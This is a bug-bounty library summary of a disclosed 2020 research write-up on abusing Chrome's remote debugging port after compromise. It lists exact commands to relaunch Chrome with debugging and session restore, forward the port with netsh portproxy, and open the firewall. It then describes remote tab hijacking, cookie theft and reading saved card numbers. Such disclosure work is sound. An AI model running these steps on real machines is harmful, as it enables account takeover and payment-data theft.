# Post-Exploitation: Abusing Chrome's debugging feature to observe and control browsing sessions remotely

Chrome's remote debugging port, exposed via port forwarding, lets post-exploitation malware observe sessions, control the browser, and read saved card numbers.

- Payout: Research
- Severity: medium
- Program: Google
- Write-up by: Johann Rehberger
- Disclosed: 2020-04-29
- Write-up quality: 6/10
- Original: https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/
- Library page: https://bugbountylibrary.com/r/blog%3Aembracethered-com-blog-posts-2020-chrome-spy-remote-control
- Tags: area:os domain:browser domain:desktop impact:ato impact:data-leak kind:research platform:research sev:medium tech:chromium technique:default-creds vuln:info-disclosure vuln:secrets-leak

**Target:** Chrome remote debugging port (DevTools protocol) on localhost:9222
**Root cause:** Chrome ships the remote debugging feature in retail builds; when launched with --remote-debugging-port (plus --restore-last-session to inherit user profile), the DevTools HTTP/WebSocket API is exposed without authentication, allowing full browser control and access to chrome://settings.
**Steps:**
1. Kill existing Chrome: `Get-Process chrome | Stop-Process`
2. Relaunch with debug port and session restore: `Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"`
3. Expose port remotely: `netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222`
4. Open firewall: `netsh advfirewall firewall add rule name="Open Port 48333" dir=in action=allow protocol=TCP localport=48333`
5. Attacker browses `http://victim:48333` to list sessions/tabs, clicks a tab to control it
6. Navigate controlled tab to `chrome://settings` to read saved payment card numbers; use `Network.getAllCookies()` for cookie theft
**How found:** Author experimented with Chrome's remote debugging feature after learning of Cookie Crimes (2018), discovering that --restore-last-session inherits the victim's profile and that chrome://settings exposes card numbers without a prompt.
**Exploitation:** Post-exploitation malware with user-level access restarts Chrome with remote debugging and session restore, forwards the port via netsh portproxy, opens the firewall, then connects remotely to the DevTools UI to hijack tabs, read email via existing cookies, and view chrome://settings including unmasked card numbers.
**Escalation:** Chaining stolen session cookies (Cookie Crimes / pass-the-cookie) with live browser control to reach authenticated web apps and saved credentials/payment data.
**Insight:** When a debug/dev feature ships in production builds, check whether relaunching the app with profile-restore flags inherits the user's authenticated state and whether privileged internal pages (chrome://settings) are reachable through the debug protocol without re-auth.